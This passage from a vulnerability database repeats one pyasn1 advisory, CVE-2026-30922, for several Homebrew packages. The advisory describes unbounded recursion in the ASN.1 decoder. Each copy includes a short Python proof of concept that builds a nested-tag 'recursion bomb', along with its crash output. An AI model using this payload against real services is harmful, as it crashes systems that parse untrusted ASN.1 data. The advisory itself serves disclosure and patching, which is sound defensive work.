ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-mistral-vibe-CVE-2026-30922",
      "modified": "2026-11-08T10:18:50Z",
      "published": "2026-08-13T17:14:16Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-MOLECULE-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:14 – Updated: 2026-10-31 19:05 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "molecule",
            "purl": "pkg:brew/molecule"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.17.3"
                },
                {
                  "fixed": "3.0.5"
                },
                {
                  "introduced": "25.7.0"
                },
                {
                  "fixed": "26.3.0_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-molecule-CVE-2026-30922",
      "modified": "2026-10-31T19:05:35Z",
      "published": "2026-08-13T17:14:18Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-PARSEDMARC-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:25 – Updated: 2026-10-31 20:10 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "parsedmarc",
            "purl": "pkg:brew/parsedmarc"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "8.11.0"
                },
                {
                  "fixed": "9.2.1_2"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-parsedmarc-CVE-2026-30922",
      "modified": "2026-10-31T20:10:04Z",
      "published": "2026-08-13T17:25:33Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
